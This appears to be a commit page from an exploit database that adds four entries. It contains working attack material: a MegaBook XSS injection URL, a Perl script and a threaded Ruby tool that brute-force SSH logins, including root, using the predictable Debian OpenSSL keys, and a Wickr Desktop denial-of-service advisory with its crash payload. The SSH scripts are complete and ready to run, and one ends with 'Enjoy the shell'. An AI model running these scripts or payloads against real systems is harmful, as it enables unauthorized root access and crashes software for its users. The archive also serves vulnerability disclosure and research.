DB: 2016-01-10
4 new exploits
This commit is contained in:
Offensive Security
parent
86d0c5fe16
commit
cf77140802
4 changed files with 374 additions and 0 deletions
9
platforms/cgi/webapps/25622.txt
Executable file
9
platforms/cgi/webapps/25622.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/13522/info
|
||||
|
||||
MegaBook is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
|
||||
|
||||
This issue is reported to affect MegaBook version 2.0; other versions may also be vulnerable.
|
||||
|
||||
http://www.example.com/admin.cgi?action=modifypost&entryid="><script>alert('wvs-xss-magic-string-703410097');</script>
|
||||
53
platforms/linux/remote/5622.txt
Executable file
53
platforms/linux/remote/5622.txt
Executable file
|
|
@ -0,0 +1,53 @@
|
|||
the debian openssl issue leads that there are only 65.536 possible ssh
|
||||
keys generated, cause the only entropy is the pid of the process
|
||||
generating the key.
|
||||
|
||||
This leads to that the following perl script can be used with the
|
||||
precalculated ssh keys to brute force the ssh login. It works if such a
|
||||
keys is installed on a non-patched debian or any other system manual
|
||||
configured to.
|
||||
|
||||
On an unpatched system, which doesn't need to be debian, do the following:
|
||||
|
||||
keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/
|
||||
|
||||
1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)
|
||||
|
||||
2. Extract it to a directory
|
||||
|
||||
3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048
|
||||
Bits, generated on an upatched debian (this is the key this exploit will
|
||||
break)
|
||||
|
||||
4. Run the perl script and give it the location to where you extracted
|
||||
the bzip2 mentioned.
|
||||
|
||||
#!/usr/bin/perl
|
||||
my $keysPerConnect = 6;
|
||||
unless ($ARGV[1]) {
|
||||
print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
|
||||
print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
|
||||
print "By mm@deadbeef.de\n";
|
||||
exit 0;
|
||||
}
|
||||
chdir($ARGV[0]);
|
||||
opendir(A, $ARGV[0]) || die("opendir");
|
||||
while ($_ = readdir(A)) {
|
||||
chomp;
|
||||
next unless m,^\d+$,;
|
||||
push(@a, $_);
|
||||
if (scalar(@a) > $keysPerConnect) {
|
||||
system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i
|
||||
".$_ } @a)." ".$ARGV[1]);
|
||||
@a = ();
|
||||
}
|
||||
}
|
||||
|
||||
5. Enjoy the shell after some minutes (less than 20 minutes)
|
||||
|
||||
Regards,
|
||||
Markus Mueller
|
||||
mm@deadbeef.de
|
||||
|
||||
# milw0rm.com [2008-05-15]
|
||||
78
platforms/linux/remote/5632.rb
Executable file
78
platforms/linux/remote/5632.rb
Executable file
|
|
@ -0,0 +1,78 @@
|
|||
#!/usr/bin/ruby
|
||||
#
|
||||
# Debian SSH Key Tester
|
||||
# L4teral <l4teral [at] gmail com>
|
||||
#
|
||||
# This tool helps to find user accounts with weak SSH keys
|
||||
# that should be regenerated with an unaffected version
|
||||
# of openssl.
|
||||
#
|
||||
# You will need the precalculated keys provided by HD Moore
|
||||
# See http://metasploit.com/users/hdm/tools/debian-openssl/
|
||||
# for further information.
|
||||
#
|
||||
# Common Keys:
|
||||
#
|
||||
# https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5632.tar.bz2 (debian_ssh_dsa_1024_x86.tar.bz2)
|
||||
# https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)
|
||||
#
|
||||
#
|
||||
# Usage:
|
||||
# debian_openssh_key_test.rb <host> <user> <keydir>
|
||||
#
|
||||
|
||||
require 'thread'
|
||||
|
||||
THREADCOUNT = 10
|
||||
KEYSPERCONNECT = 3
|
||||
|
||||
queue = Queue.new
|
||||
threads = []
|
||||
keyfiles = []
|
||||
|
||||
host = ARGV.shift or raise "no host given!"
|
||||
user = ARGV.shift or raise "no user given!"
|
||||
keysdir = ARGV.shift or raise "no key dir given!"
|
||||
|
||||
Dir.new(keysdir).each do |f|
|
||||
if f =~ /\d+$/ then
|
||||
keyfiles << f
|
||||
queue << f
|
||||
end
|
||||
end
|
||||
|
||||
totalkeys = queue.length
|
||||
currentkey = 1
|
||||
|
||||
THREADCOUNT.times do |i|
|
||||
threads << Thread.new(i) do |j|
|
||||
while !queue.empty?
|
||||
keys = []
|
||||
KEYSPERCONNECT.times { keys << queue.pop unless queue.empty? }
|
||||
keys.map! { |f| f = File.join(keysdir, f) }
|
||||
keys.each do |k|
|
||||
puts "testing key #{currentkey}/#{totalkeys} #{k}..."
|
||||
currentkey += 1
|
||||
end
|
||||
system "ssh -l #{user} -o PasswordAuthentication=no -i #{keys.join(" -i ")} #{host} \"exit\" &>/dev/null"
|
||||
if $? == 0 then
|
||||
keys.each do |k|
|
||||
system "ssh -l #{user} -o PasswordAuthentication=no -i #{k} #{host} \"exit\" &>/dev/null"
|
||||
if $? == 0 then
|
||||
puts "KEYFILE FOUND: \n#{k}"
|
||||
exit
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
trap("SIGINT") do
|
||||
threads.each { |t| t.exit() }
|
||||
exit
|
||||
end
|
||||
|
||||
threads.each { |t| t.join }
|
||||
|
||||
# milw0rm.com [2008-05-16]
|
||||
234
platforms/windows/dos/35622.txt
Executable file
234
platforms/windows/dos/35622.txt
Executable file
|
|
@ -0,0 +1,234 @@
|
|||
Document Title:
|
||||
===============
|
||||
Wickr Desktop v2.2.1 Windows - Denial of Service Vulnerability
|
||||
|
||||
|
||||
References (Source):
|
||||
====================
|
||||
http://www.vulnerability-lab.com/get_content.php?id=1377
|
||||
|
||||
Video:
|
||||
http://www.vulnerability-lab.com/get_content.php?id=1388
|
||||
|
||||
|
||||
Release Date:
|
||||
=============
|
||||
2014-12-25
|
||||
|
||||
|
||||
Vulnerability Laboratory ID (VL-ID):
|
||||
====================================
|
||||
1377
|
||||
|
||||
|
||||
Common Vulnerability Scoring System:
|
||||
====================================
|
||||
3.3
|
||||
|
||||
|
||||
Product & Service Introduction:
|
||||
===============================
|
||||
Wickr (pronounced `wicker`) is a proprietary instant messenger for iPhone and Android. Wickr allows users to exchange end-to-end encrypted and
|
||||
self-destructing messages, including photos and file attachments. The `self-destruct` part of the software is designed to use a `Secure File Shredder`
|
||||
which the company says `forensically erases unwanted files you deleted from your device`. However the company uses a proprietary algorithm to manage
|
||||
the data, a practice which is prone to error according to many security experts.
|
||||
|
||||
On January 15, 2014, Wickr announced it is offering a US$100,000 bug bounty for those who find vulnerabilities that significantly impact users. In addition,
|
||||
a recipient can in general use other software and techniques like screen-capture capabilities or a separate camera to make permanent copies of the content.
|
||||
|
||||
(Copy of the Homepage: https://wickr.com/ )
|
||||
|
||||
|
||||
Abstract Advisory Information:
|
||||
==============================
|
||||
The Vulnerability Laboratory Research team discovered a denial of service web vulnerability in the offical Wickr Desktop v2.2.1 windows software.
|
||||
|
||||
|
||||
Vulnerability Disclosure Timeline:
|
||||
==================================
|
||||
2014-12-25: Public Disclosure (Vulnerability Laboratory)
|
||||
|
||||
|
||||
Discovery Status:
|
||||
=================
|
||||
Published
|
||||
|
||||
|
||||
Affected Product(s):
|
||||
====================
|
||||
Wickr Inc.
|
||||
Product: Wickr - Desktop Software (Windows) 2.2.1
|
||||
|
||||
|
||||
Exploitation Technique:
|
||||
=======================
|
||||
Local
|
||||
|
||||
|
||||
Severity Level:
|
||||
===============
|
||||
Medium
|
||||
|
||||
|
||||
Technical Details & Description:
|
||||
================================
|
||||
A local denial of service vulnerability has been discovered in the official Wickr TSM v2.2.1 (MSI) windows software.
|
||||
The issue allows local attackers to crash or shutdown the software client by usage of special crafted symbole payloads.
|
||||
|
||||
The wickr v2.2.1 (msi) software crashs with unhandled exception in the CFLite.dll by the qsqlcipher_wickr.dll when processing to include
|
||||
special crafted symbole strings
|
||||
as password or name. The issue occurs after the input of the payload to the `change name friend contacts`-, `the wickr password auth`-
|
||||
and the `friends > add friends` input fields. Attackers are able to change the name value of the own profile (payload) to crash the
|
||||
wickr client. Local attackers can include the payload to the input fields to crash/shutdown the application with unhandled exception.
|
||||
|
||||
The security risk of the denial of service vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.
|
||||
Exploitation of the DoS vulnerability requires a low privileged application user account and low user interaction. Successful exploitation of
|
||||
the vulnerability results in an application crash or service shutdown.
|
||||
|
||||
|
||||
Vulnerable Module(s):
|
||||
[+] friend contacts
|
||||
[+] wickr password auth
|
||||
[+] friends
|
||||
|
||||
Vulnerbale Input(s):
|
||||
[+] add friends (name)
|
||||
[+] wickr password auth
|
||||
[+] change friend (update name)
|
||||
|
||||
Vulnerable Parameter(s):
|
||||
[+] name (value input)
|
||||
[+] password (vale input)
|
||||
|
||||
|
||||
Proof of Concept (PoC):
|
||||
=======================
|
||||
The denial of service web vulnerability can be exploited by remote attackers and local attackers with low user interaction.
|
||||
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
||||
|
||||
|
||||
Manual steps to reproduce the vulnerability ...
|
||||
1. Download Wickr v2.2.1 for windows to your windows 8 box (mywickr.info/download.php?p=4)
|
||||
2. Install the wickr windows version of the software to your windows 8 box
|
||||
3. Create an new account and include the payload to the password input field
|
||||
Note: After the payload has been processed to the auth, the software crashs. You should attach a debugger ago.
|
||||
4. Successful reproduce of the first issue!
|
||||
5. We register a new account with regular values
|
||||
6. Open the friends > add friends section and include the payload to the search input value
|
||||
Note: After the payload has been processed to add the friend, the software crashs. You should attach a debugger ago.
|
||||
7. Successful reproduce of the second issue!
|
||||
8. We open the software again and login. Switch to the existing friends contacts and edit the profile
|
||||
9. Include in the name values the payload and save the settings
|
||||
Note: After the payload has been processed to change to the name, the software crashs. You should attach a debugger ago.
|
||||
4. Successful reproduce of the third issue!
|
||||
|
||||
|
||||
Payload: Denial of Service
|
||||
็¬็ส็็็็็ -็็็็็็็็็็็็็็็็็็็็ส็¬็็็็็็็็¬็็็็็็็็็็็็็็็็ส็็็็¬็็็็็็็็็-็็็็็็็ ็็็็็ส็็็็็็็¬็็็็็็็็็็¬็็็็็็็็ส็็็็็็็็็็¬็็็็็็็็็็็ ¬็็็็ส็็็็็็็็็็็็็¬็็็็ ็็็็็็็็¬ส็็็็็็็็็็็็็็็็-็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็ ¬็็็็็็ส็็็็็็็¬ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็¬¬็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็¬็
|
||||
|
||||
|
||||
--- Error Report Logs ---
|
||||
EventType=APPCRASH
|
||||
EventTime=130628671359850105
|
||||
ReportType=2
|
||||
Consent=1
|
||||
UploadTime=130628671360390638
|
||||
ReportIdentifier=df89d941-8208-11e4-be8b-54bef733d5e7
|
||||
IntegratorReportIdentifier=df89d940-8208-11e4-be8b-54bef733d5e7
|
||||
WOW64=1
|
||||
NsAppName=Wickr.exe
|
||||
Response.BucketId=96ac0935c87e28d0d5f61ef072fd75b8
|
||||
Response.BucketTable=1
|
||||
Response.LegacyBucketId=73726044048
|
||||
Response.type=4
|
||||
Sig[0].Name=Anwendungsname
|
||||
Sig[0].Value=Wickr.exe
|
||||
Sig[1].Name=Anwendungsversion
|
||||
Sig[1].Value=0.0.0.0
|
||||
Sig[2].Name=Anwendungszeitstempel
|
||||
Sig[2].Value=02849d78
|
||||
Sig[3].Name=Fehlermodulname
|
||||
Sig[3].Value=CFLite.dll
|
||||
Sig[4].Name=Fehlermodulversion
|
||||
Sig[4].Value=0.0.0.0
|
||||
Sig[5].Name=Fehlermodulzeitstempel
|
||||
Sig[5].Value=53f6c178
|
||||
Sig[6].Name=Ausnahmecode
|
||||
Sig[6].Value=c0000005
|
||||
Sig[7].Name=Ausnahmeoffset
|
||||
Sig[7].Value=00027966
|
||||
DynamicSig[1].Name=Betriebsystemversion
|
||||
DynamicSig[1].Value=6.3.9600.2.0.0.256.48
|
||||
DynamicSig[2].Name=Gebietsschema-ID
|
||||
DynamicSig[2].Value=1031
|
||||
DynamicSig[22].Name=Zusatzinformation 1
|
||||
DynamicSig[22].Value=5861
|
||||
DynamicSig[23].Name=Zusatzinformation 2
|
||||
DynamicSig[23].Value=5861822e1919d7c014bbb064c64908b2
|
||||
DynamicSig[24].Name=Zusatzinformation 3
|
||||
DynamicSig[24].Value=84a0
|
||||
DynamicSig[25].Name=Zusatzinformation 4
|
||||
DynamicSig[25].Value=84a09ea102a12ee665c500221db8c9d6
|
||||
UI[2]=C:\Program Files (x86)\Wickr Inc\Wickr - Top Secret Messenger\Wickr.exe
|
||||
UI[3]=Wickr.exe funktioniert nicht mehr
|
||||
UI[4]=Windows kann online nach einer Lösung für das Problem suchen.
|
||||
UI[5]=Online nach einer Lösung suchen und das Programm schließen
|
||||
UI[6]=Später online nach einer Lösung suchen und das Programm schließen
|
||||
UI[7]=Programm schließen
|
||||
... ... ... ...
|
||||
LoadedModule[103]=C:\Program Files (x86)\Wickr Inc\Wickr - Top Secret Messenger\sqldrivers\qsqlcipher_wickr.dll
|
||||
State[0].Key=Transport.DoneStage1
|
||||
State[0].Value=1
|
||||
FriendlyEventName=Nicht mehr funktionsfähig
|
||||
ConsentKey=APPCRASH
|
||||
AppName=Wickr.exe
|
||||
AppPath=C:\Program Files (x86)\Wickr Inc\Wickr - Top Secret Messenger\Wickr.exe
|
||||
NsPartner=windows
|
||||
NsGroup=windows8
|
||||
ApplicationIdentity=6A5425CE651532265F599A5A86C6C2EE
|
||||
|
||||
|
||||
|
||||
Security Risk:
|
||||
==============
|
||||
The security risk of the denial of service web vulnerability in the wickr windows client software is estimated as medium. (CVSS 3.3)
|
||||
|
||||
|
||||
Credits & Authors:
|
||||
==================
|
||||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
||||
|
||||
|
||||
Disclaimer & Information:
|
||||
=========================
|
||||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
|
||||
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
|
||||
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
|
||||
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
|
||||
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
|
||||
policies, deface websites, hack into databases or trade with fraud/stolen material.
|
||||
|
||||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||||
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
|
||||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||||
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
|
||||
|
||||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
|
||||
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
|
||||
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
|
||||
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
|
||||
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||||
|
||||
Copyright © 2014 | Vulnerability Laboratory - [Evolution Security GmbH]™
|
||||
|
||||
|
||||
--
|
||||
VULNERABILITY LABORATORY - RESEARCH TEAM
|
||||
SERVICE: www.vulnerability-lab.com
|
||||
CONTACT: research@vulnerability-lab.com
|
||||
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
|
||||
|
||||
|
||||
|
||||
Loading…
Add table
Reference in a new issue